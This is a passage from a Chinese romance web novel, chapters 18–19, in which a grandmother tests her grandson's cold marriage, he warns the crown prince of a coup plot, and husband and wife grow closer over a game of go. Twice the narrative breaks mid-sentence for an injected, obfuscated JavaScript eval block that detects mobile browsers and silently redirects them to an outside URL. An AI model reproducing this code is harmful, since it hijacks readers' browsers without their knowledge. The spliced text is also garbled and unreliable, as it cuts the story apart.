但他这番表情,又是什么意思,她朱唇轻咬,少顷,调侃道:“怎么,云郎口口声声说要替妻子守身,却答不出这话,莫不是心底其实觉得她并不如我。” 顾缜锐利的眸光顿如尖刃般扫来,“往后,我不想再听你提及她半句。” 他如寒冰般冷冽的嗓音令范玉盈懵了片刻。 他知他不喜她,可不曾想竟是厌恶到了这般地步。 光是旁人提到都能如此怒不可遏。 糟糕,这可实在糟糕! 18. 问话 翌日,范玉盈醒来时,天才大亮,她虽身子不好,却向来不贪觉。 她透过自窗棂透进来的天光估摸着时辰,便懒懒坐起来朝外唤了一声,很快寝间的隔扇门开了。 范玉盈抬眸扫了一眼,却是一愣,打头进来的并非紫苏红芪他们,而是另一人。 那人一入内,便施礼道:“大少奶奶晨安,老奴奉老夫人之命,来给大少奶奶送自南游带来的通草花。” 范玉盈忙下榻去,不知自己尚且衣衫不整的,这刘嬷嬷怎就进来了,可毕竟是老夫人身边伺候的老嬷嬷,范玉盈也不敢怠慢,示意紫苏收下物件后,笑道:“不知嬷嬷过来,我这副样子着实让嬷嬷见笑了,早听说过南游的通草花技艺一绝,今日一见果真如此,做的竟如此栩栩如生,还请嬷嬷回去后替我谢过祖母。” “大少奶奶客气了,老夫人适才还说,这通草花非金非银的,大少奶奶跟着太子妃见多识广,恐是瞧不上,但幸得大少奶奶喜欢。” 刘嬷嬷说罢,似随意般在屋内扫了一圈,视线在床榻上停留了片刻,旋即笑道:“老奴还需将通草花给二夫人三夫人那厢送去,就不多留了。” 范玉盈本该应声放刘嬷嬷走的,可想了想,却出言阻道:“时辰还早,嬷嬷若不急,可否再与我说两句话。” 刘嬷嬷愣了一瞬,道了句“那是自然”,便顺着范玉盈的意思在一侧绣墩上坐下。 “听沈嬷嬷说,世子爷幼时是在祖父祖母膝下长大的。想来刘嬷嬷跟着祖母多年,对世子爷的习惯喜好定是了如指掌,我就想问问嬷嬷,世子爷平素可有什么喜好或是钟情的物什……” 刘嬷嬷了然一笑,这妻子想要赢得夫君的心再天经地义不过,“咱们这世子爷自小懂事乖巧,是被老侯爷老夫人夸赞到大的,世子爷文武兼修,读书习武两不落下,若说有什么爱好,就是从前空闲时爱与人对弈,而今忙于公务恐也没什么机会了,还有……” 刘嬷嬷顿了顿,凝视着范玉盈,一字一句道:“世子爷这人看着清冷,但实则有些心软,且一向吃软不吃硬……” 范玉盈感激地回以一笑,又随意聊了两句,便让紫苏和沈嬷嬷将刘嬷嬷好生送了出去。 待人走后,红芪替范玉盈梳妆时,忍不住在她耳畔低声问道:“姑娘,您说这刘嬷嬷大早上干什么来了?” 范玉盈无奈地笑了笑,“还能干什么,只怕是替老夫人来打探这厢的情况。” 且不说她一个有资历的老嬷嬷,而今的侯爷都得敬她几分,犯不着亲自来送这通草花,就是她不顾她仪容不整就这般进来一事,都透着深深的蹊跷。 范玉盈将视线往床榻上瞥了瞥,适才那刘嬷嬷往这儿看了好几眼,莫不是瞧出了什么。 “刘嬷嬷几时来的?”她问道。 红芪答:“世子爷才走了没一会儿,刘嬷嬷便来了,坐着与沈嬷嬷扯东扯西的,我们在外头,也未怎么听清,似乎谈的一直是您和世子爷。” 范玉盈把玩着那朵由通草制成的芙蓉,朱唇微抿,秀眉蹙起。 她不知范老夫人派刘嬷嬷来的真正用意,也不知范老夫人对她究竟是何看法,若真对她不满,不必她赶,她将来自己也会走,但眼下,她还需留在此处。 因顾缜对她尚且有用。 她知道顾缜厌恶她什么,无非是外头有关她的那些流言,那些过往。 初嫁进定北侯府时,她不指望顾缜改变对她的看法,便多少肆无忌惮了些,可往后,她恐还需从此处入手,消除顾缜对她的厌嫌。 若,他能多少再喜欢她一点点,定能事半功倍。 不过…… 范玉盈自嘲地笑了笑。 这大抵得下好一番功夫。 早朝罢,太子于宁阳门亲自送瑄岚使团归国,顾缜原也在送行之列,可直到使团出发,顾缜才骑马姗姗来迟,至太子跟前告罪。 四下虽有朝臣不满顾缜行为出声指责,但太子并未说什么,只问顾缜因何耽误。 顾缜道大理寺有桩要案急需审理,特去了趟诏狱提审,为此顾缜还自怀中取出适才的证词递予太子过目。 太子展开扫了一眼,随即笑道:“此案离奇,孤也有所耳闻,眼下孤有闲,对此案也有些兴趣,不若随顾少卿一道前往大理寺瞧瞧。” 两人先后上了马,直往大理寺而去,抵达后,太子与顾缜神色自若地交谈着,一路入了案卷室。 退了旁人,屋门合拢的一瞬,太子笑意敛起,“顾少卿发现了什么?” 在宁阳门外,顾缜递给太子的证词不过是随意写的几句诗词,唯最上头的第一句是想传递给太子的话。 “瑄岚一案有异”。 先前,景贞帝已明言不许他再调查下去,他自然不可能在众人面前主动提及此事,也不好私下约见太子,只有这般光明正大,才不易为人指摘。 顾缜恭敬道:“臣始终觉得先前之事疑云密布,故而今早去了趟诏狱,见了那欲刺杀七王子的瑄岚人,几番试探之下,不想还真得了意外收获。” 那活着的瑄岚细作并未随瑄岚使团一道回国,而是暂时留在了大盛,毕竟使团返程的这一路还不知会遇到什么危险,若带着此人,只怕风险更甚。 待七王子平安抵达后,再令派人将其送回瑄岚,此事太子已修书一封,告知瑄岚大王子。 “这些欲刺杀七王子的瑄岚人,绝不可能是自己所为,背后定有指使之人,然瑄岚国内反对与大盛谈和之人颇多,只怕不好猜测,但那瑄岚细作无意间漏了嘴,臣怀疑,那背后操纵之人正是瑄岚王的胞弟扎古,且其恐有谋反之嫌。” 顾缜这谎撒得面不改色。 因此事并非那人漏嘴,而是他根据昨夜梦境诈出来的。 在诏狱时,他突然提到扎古,那细作因始料未及面上闪过明显的惊慌。 梦中女子或所言不虚。 太子沉思不言,只指尖在桌案上缓慢有节奏地敲打着。 若依顾缜所言,一切似乎都说得通了,那些细作全然不惧将七王子之死揽在自己身上,也不怕过后瑄岚王会深入调查此事,是因不论如何,扎古都决定好了谋反。 不过,他可能觉得,此事不会这么快怀疑到他的头上。 杨濂记得瑄岚王这个胞弟,当时他亲赴西南谈和时,曾见过此人,面容敦厚老实,且深受瑄岚王信任,恐谁也想不到他佛面蛇心,会暗地里筹划叛乱,谋夺兄位。 太子抬眸看向顾缜,“顾少卿觉得,孤该怎么做,若此事不实呢?” 顾缜站起来,冲太子施了一礼,郑重道:“殿下,微臣不敢言此事千真万确,然微臣觉得,此事事关重大,不可不慎,若扎古篡位,瑄岚与大盛的谈和必将功亏一篑。届时战火再起,民不聊生,微臣斗胆,请太子殿下快马加鞭,将此事告知瑄岚大王子,令其早作提防。” 太子笑起来。 “顾少卿,孤真是越来越喜欢你了。” 顾缜闻言怔了怔,“微臣为大盛的官,为陛下的臣,自该为大盛鞠躬尽瘁。” 见他迫不及待言明立场,太子无奈扯了扯唇角。 皇贵妃的担忧属实多余,不论顾缜娶了谁,只怕都动摇不了定北侯府仅忠于君的决心。 不知思及什么,太子神色凝重了几分,“不过,那扎古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469895|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既敢谋反,定做了万全的准备,大王子势单力薄,恐届时难以对抗,大盛这头也需未雨绸缪……” 酉时一刻,顾缜自大理寺回了定北侯府。 步入葳蕤苑后,才得知范玉盈不在屋内,半个时辰前被苏氏叫到松茗居去了,晚饭大抵也要在那处用。 思及他母亲对范玉盈的态度,顾缜蹙了蹙眉,折身原准备往松茗居而去,不想才出了垂花门,就被顾老夫人那头派来的人截住了,说顾老夫人让他去椿园用饭。 祖母之邀,顾缜不得不往,只得再次调转步子随那婢子而去。 顾老夫人见着顾缜,倒也没多说什么,只让他坐下,先安安静静用了饭,等喝茶闲谈时,方才遣退了屋内仆婢,独留下刘嬷嬷。 顾缜是被祖父母教养长大的,很清楚祖母这般是有话要与他说,便搁下茶盏,洗耳恭听。 顾老夫人静静看着他,“缜哥儿,祖母问你,你对棠儿,是如何看的?” 顾缜倒是没想到顾老夫人会突然提起方沁棠,他不假思索道:“孙儿自小与方大姑娘一道长大,在孙儿眼中,她与婷儿敏儿她们无异。” 顾老夫人点了点头,倒在意料之中,旋即又道:“那范氏呢,你中意她吗?” 顾缜倏然一愣,他薄唇抿了抿,片刻后,轻轻摇头。 顾老夫人皱眉,“那是厌恶她了?” 顾缜复又迟疑起来,许久,低低道:“该是有一些的。” 什么叫该是。 顾老夫人与身侧的刘嬷嬷对视一眼,实在觉得顾缜这态度万分蹊跷,问他喜欢时犹犹豫豫,问他厌恶又吞吞吐吐,像是自己也看不清自己的心思。 顾老夫人面色沉了几分,“缜哥儿,你同祖母说实话,你这新婚近一月来,可是刻意躲着范氏,是否与她同屋却未同榻?” 顾缜眸中一闪而过的惊色悉数落入顾老夫人眼中,到底是自己养大的孩子,光是这般,顾老夫人便已知晓了答案。 她今早派刘嬷嬷去葳蕤苑,就是故意打探。 刘嬷嬷何等毒辣的眼神。 光是瞧见西次间撤了榻桌的小榻,及主屋床榻内侧褥子平整,几乎没有褶皱,便隐隐猜到了些。 顾老夫人想起什么,双眸眯了眯,试探道:“你们二人不会荒唐到至今都未圆房吧?” 看着顾缜以沉默回应,顾老夫人气得猛一拍桌,怒斥道:“胡闹,若此事传出去,你让范氏往后在京城如何做人,且这桩婚本就是长公主赐下的,这般行径岂非公然打了长公主及太子妃的脸。” 刘嬷嬷忙上前替顾老夫人顺气,顾老夫人冷静了些,问道:“你不与范氏圆房,是因外间传闻?” 顾缜思索着,他很清楚即便他不说,以他祖母的性子也会派人去查,那事纵然做了掩饰,可漏洞百出,轻易就能让人猜到真相。 “孙儿娶范氏时,并未受那些传言所扰,可孙儿陪范氏回门那日,却发现范氏有苛待婢女之举。” 顾老夫人:“她苛待之事,是你亲眼所见?” 顾缜摇头,“是据李寅调查的结果所得的推测,加之后来,范氏她……” 他顿了顿,到底还是将她如何报复顾婷姐妹和赵挽琴一事简单告知顾老夫人。 这两桩事顾老夫人都有所耳闻,但确实不知其中的些许内情。 她打量着顾缜言语间面上的沉重,片刻后,却是笑了。 “于是,你便觉她不是那性情柔顺之人,觉她心机颇深,以此认定外间传言是真?” 顾老夫人直视着顾缜的眼睛,“缜哥儿,你可曾想过,你究竟是不喜范氏,还是怕范氏并非你该喜之人?” 19. 主动 这简简单单的一句话,令顾缜双眸微张,诧异地抬首看到祖母,一瞬间有种茅塞顿开之感,似乎清楚了自己这些日子以来纠结混乱所在。 与其说他厌恶范氏,不如说他逼着自己厌恶范氏,因他内心觉得,若范氏德行有亏,他仍对她太好,钟意于她,于情于理都是错的。 而自小受的礼仪教养告诉他,绝不该去行一件错误之事。 “你口口声声说不受外间传言影响,却比谁都先入为主,以流言来评判甚至断定范氏品性。”顾老夫人叹声,“祖母再问你,若她声名并未有损,她两次以牙还牙的举动,你可觉得有错?” 顾缜沉吟片刻,摇了摇头。 除却赵挽琴那次她不惜伤害自己身子来反击报复,法子实在太过极端外,其做法本身并无问题。 毕竟息事宁人,忍让退避只会让人觉得你软弱可欺,继而得寸进尺。 少顷,他却仍是蹙眉,“可回门之事……” 见他对此事仍耿耿于怀,顾老夫人又道:“祖母虽这般说,但并非就此断定范氏好坏,只是想告诉你,不若真正抛开那些传闻,重新去看待你的妻子,一个人的脾性代表不了她的品性,范氏性子尖锐,兴许不是为了对付旁人,而是单单为了保护自己。” 顾缜垂眸若有所思,末了,他恭敬施了一礼,“孙儿记住了。” 顾缜走后,刘嬷嬷扶着顾老夫人在罗汉床上坐下,到底没忍住问道:“老夫人为何要帮大少奶奶,不怕她真是个不好的?” 顾老夫人浅笑着挑眉看去,“你觉得她是个不好的?” 刘嬷嬷摇了摇头,“老奴也说不上来,不过老奴今日与大少奶奶聊了几句,觉得她与传闻的实在不像,对老奴也万分客气,可就算如此,所谓知人知面不知心啊……” 顾老夫人啜了口茶水,面上笑意渐渐敛去,“我又何尝不知这个道理,可我瞧得出来,缜哥儿对范氏……并非他想象中的那般,所谓当局者迷,恐他自己也不清楚对范氏究竟是何想法。” 顾缜自小性子比旁的孩子冷清些,他们这作为祖父祖母的,能教授他做人的道理,却无法告诉他怎么去处理一段感情。 他性子太直,对是非黑白分得也太清,才至于面对范氏之事变得如此拧巴。 “老夫人愿意帮大少奶奶,想必不止这个缘由吧。” 到底是在身边伺候了几十年的人,刘嬷嬷一眼就看出顾老夫人的想法没这般简单。 “就你聪慧,堪比我肚子里的蛔虫。”顾老夫人笑瞪她一眼,“昨日,我特意用《女诫》试了试范氏,若她真是那跋扈傲慢的,怕是见到那书的第一眼,就会露了马脚,可她太过平静,和传闻中截然不同。除此之外,还有一个缘由……” 顾老夫人顿了顿道:“敏儿竟还帮她说话,这么多年,你何时见敏儿这样过,每回见着我这个非嫡亲的祖母,唯恐惹怒我一般,那是话都不敢多说一句的。” 思及府中而今这乱像,顾老夫人长叹一口气。苏氏这定北侯夫人作为长房主母,胸无城府,性子单纯,易受挑拨,镇不住府内上下,二房蠢蠢欲动,觊觎着大房,三房又境况艰难,自顾不暇。 “就当是我这老婆子的直觉,希望范氏莫让我失望才好……” 此时,定北侯府松茗居。 范玉盈正细嚼慢咽,陪着婆母苏氏一道用晚饭,只眼下她这婆母面色实在不好。 饭前,葳蕤苑来了人,说世子爷回来了,本打算来松茗居的,不想半道被顾老夫人给叫走了。 这会儿,苏氏想必正为此事烦愁。 范玉盈食量本来就小,吃了半碗便实在有些吃不动了,正准备放下筷箸,却听苏氏道:“多吃些,在娘家受了亏待不成,生得这般瘦弱。” 苏氏说着,还将一筷子炒五花夹到范玉盈碗中,又转头示意巧云盛了一大碗鸡汤搁在范玉盈手边。 范玉盈面露难色,可她到底也不是没有教养的姑娘,侯府这般门第,儿媳该是伺候婆婆用饭才是,哪有婆婆给儿媳夹菜的。 她抿了抿唇,强笑着道了句“多谢母亲”,只能硬着头皮吃下那几块五花肉和一碗鸡汤。 饭后,婆媳二人对坐消食,苏氏悄悄打量着范玉盈,尤其是她那张昳丽动人的脸,觉得她那儿子真是草木做的不成,这都不为所动,还整日整日地不着家。 想着这会儿顾缜在老太太院里用饭,苏氏便一阵心烦,昨日老太太回来时,明显对那方家丫头颇有好感,这可不是什么好事。 虽说那方家丫头才貌品性的确不错,可再好也不能要,不然岂不是让方氏有机会在她头上作威作福。 眼下,苏氏也不想管范玉盈从前那些传闻,就像顾缜先头说的,至少嫁入定北侯府至今她还算乖巧,未做出什么出格之事,她也不必太过严苛。 她放下茶盏,清了清嗓子道:“你和缜儿,打算何时要孩子?” 范玉盈猜到苏氏让她来定又是为了这事,可哪里会想到她这婆婆会问得如此直接。 她低垂下眉眼,面露为难,“母亲,此事也不是我能做主的。” “那你就该多费费心思。”苏氏颇有些恨铁不成钢,“有了孩子,祖母自然会喜欢你,你看祖母,多喜欢萱姐儿啊。再说了,讨好男人能有多难,让他快活便是。” 范玉盈怔了怔,连四下站着的仆婢亦露出惊愕之色,她知她这婆母有些太过单纯,没甚心机,不想还如此心直口快。 似乎也察觉到这话的不妥,苏氏转而低咳了一声,委婉道:“你出嫁前,家中可有人教你那压箱底的事儿?” 范玉盈起初没反应过来,但片刻后,耳根骤然发烫,她听说过此事,女儿家出嫁时,会在嫁妆箱底置些物件供新妇学习,以防洞房花烛夜一无所知。 她看向苏氏,低声道:“无人教儿媳这些。” 范玉盈倒没有旁的意思,反苏氏听到这话,面色一下就变了。 她怎忘了,范氏自幼丧母,而这些事向来是母亲传授,范氏虽有亲姊姊,但到底不好说这些,自然是不知的。 苏氏皱眉,心生出几分愧疚,语气也不禁软下几分,她抬眸瞥了巧云一眼,巧云会意颔首,很快自屋内取出一木匣来。 “有暇时好生学学,我还能害你不成。”苏氏真心实意道,“女人嘛,总归得有个孩子傍身,这样,也不怕……” 说到此处,苏氏颇有些咬牙切齿,但却及时止了声儿,未再说下去。 范玉盈看她这神情,猜到苏氏大抵想到了她那常年在西北戍边的公爹。 对于前世定北侯府发生之事,范玉盈隐约有些印象,倒也不怪苏氏这般态度了。 她垂首看着这沉甸甸的木匣,不必打开都知道里头是什么。 苏氏以为她不懂,但其实她很懂。 她可太懂了,甚至成婚前便对此事了无指掌,说来还算是顾缜在梦中身体力行教她的呢。 但范玉盈自然不可能说这些,道了谢后,就被苏氏寻了个由头赶回去了。 才入了葳蕤苑,就见红芪迎面而来,施礼后低声道:“姑娘,世子爷自老夫人处回来了,才沐浴完,这会儿正在屋里坐着呢。” 范玉盈颔首,入了主屋,便见顾缜坐在西间小榻上,独自对弈。 那棋盘是范玉盈白日搁在上头的,还留有一局她未下完的棋。 她转而看向紫苏,瞥了眼她拿在手上的木匣,用口型无声道了句“藏起来”,方才上前福了福。 “世子爷。” 顾缜正沉迷在这棋局中,甫一听见此声,骤然抬首看来,在瞧见范玉盈的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469896|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,他不自觉捏了捏掌心,有一瞬间的无措,但很快便低低“嗯”了一声。 “这棋是你下的?”他问道。 既然他自个儿问了,那是最好,范玉盈摆了这棋,本就是要引他入局的。 她有些羞赧地点点头,在顾缜对侧坐下,“妾身棋艺不佳,让世子爷笑话了。” 棋艺不佳? 顾缜复又扫了眼这再精妙不过的棋局,“你的棋是谁教你的?” 范玉盈轻轻摇了摇头,垂眸神色黯淡了几分,“没谁,不过闲来无事自个儿琢磨的。” 她顿了顿,看着轻描淡写,然笑意里却带着些许凄凉,“妾身幼时孤独,五岁时两位姊姊就被祖母送回了老家,加之妾身自幼身子不好,难以出门,便只能找些事来散散闷。” 这还是顾缜头一回听范玉盈说起她自己的事,他想起祖母同他说的话,默了默,在棋盘上落下一子,“你与你弟弟,是同年同月同日出生,该是一道长大,他……不陪陪你吗?” 范玉盈闻言,一时没有开口,好一会儿,才跟着在棋盘上落子,边与顾缜对弈,边平静道:“祖母唯恐我过了病气给他,自幼便不允妾身与他相处。后来,妾身八岁时,他生了场大病,祖母便将妾身送到城郊庄上去了……” 言至此,范玉盈不再多说,只抿唇笑了笑,放下棋子道:“世子爷棋高一着,这局棋,妾身应是输定了。” 她站起来,“妾身便先去沐浴梳洗了。” 言罢,她果断地往浴间而去。 顾缜折首看着她纤细的背影,想起她适才说的话,神色凝重几分。 他听说过范家老夫人重男轻女,且对范玉盈这个孙女尤其不喜之事,却并不知原那些年,她受了如许多的苛待。 范承宥大病,范老夫人却将范玉盈丢去庄上,无疑是将她当做了瘟神,年仅八岁且体弱多病的小姑娘,父亲在外督建皇陵,两位姐姐不在身边,祖母又不关心爱护,那些日子她究竟是怎么熬的。 小半个时辰后,范玉盈自浴间出来,梳洗罢,便见顾缜一如往常般挥退所有仆婢,忽而立在妆台前对着她道:“你的棋下的不错,改日我引荐你同孟大家认识。” 范玉盈知晓顾缜说的孟大家是谁。 自然是孟子绅孟国手,那位名扬四海的围棋奇才。 范玉盈眨了眨眼,她并不觉得自己的棋艺有多好,但顾缜竟愿意把她引荐给孟大家,实在令她意外。 莫不是她刚才说的话起了效用? 顾缜还真如刘嬷嬷所说,吃软不吃硬。 范玉盈向来不爱服软,自小的经历让她更习惯硬着骨头对抗所有人,因为只消软弱一些,铺天盖地而来的便是欺辱和看低。 但眼下看来,服软亦也有服软的好处。 譬如对顾缜就很有用,她不过提了一点点并不想回忆的往事,他便软了心肠,对她改了态度。 “多谢世子爷。”范玉盈柔声道。 顾缜点了点头。 然范玉盈不知的是,顾缜并非因着愧疚而说出方才那番话,而是出自真心,虽说孟大家并未正式收他为徒,但也算他半个老师,他自是知晓孟大家这么多年来一直在寻一个有灵气的棋手为徒而未果。 但这份灵气他竟从范玉盈摆的那棋局中看到了。 她大抵自己也不知,满京贵妇贵女,若论棋术,恐无几人能出其右。 果如祖母所言,他真的一点也不了解他的妻子。 “早些歇息吧。” 顾缜走近床榻,意图如往常般抱走被褥,可还未低身,却被拽住了衣袂。 他垂首,望进一双如湖水般潋滟澄澈的眼眸里,那若樱桃般红润诱人的朱唇微启,小心翼翼吐出一句。 “世子爷今夜,还要睡在外头吗?”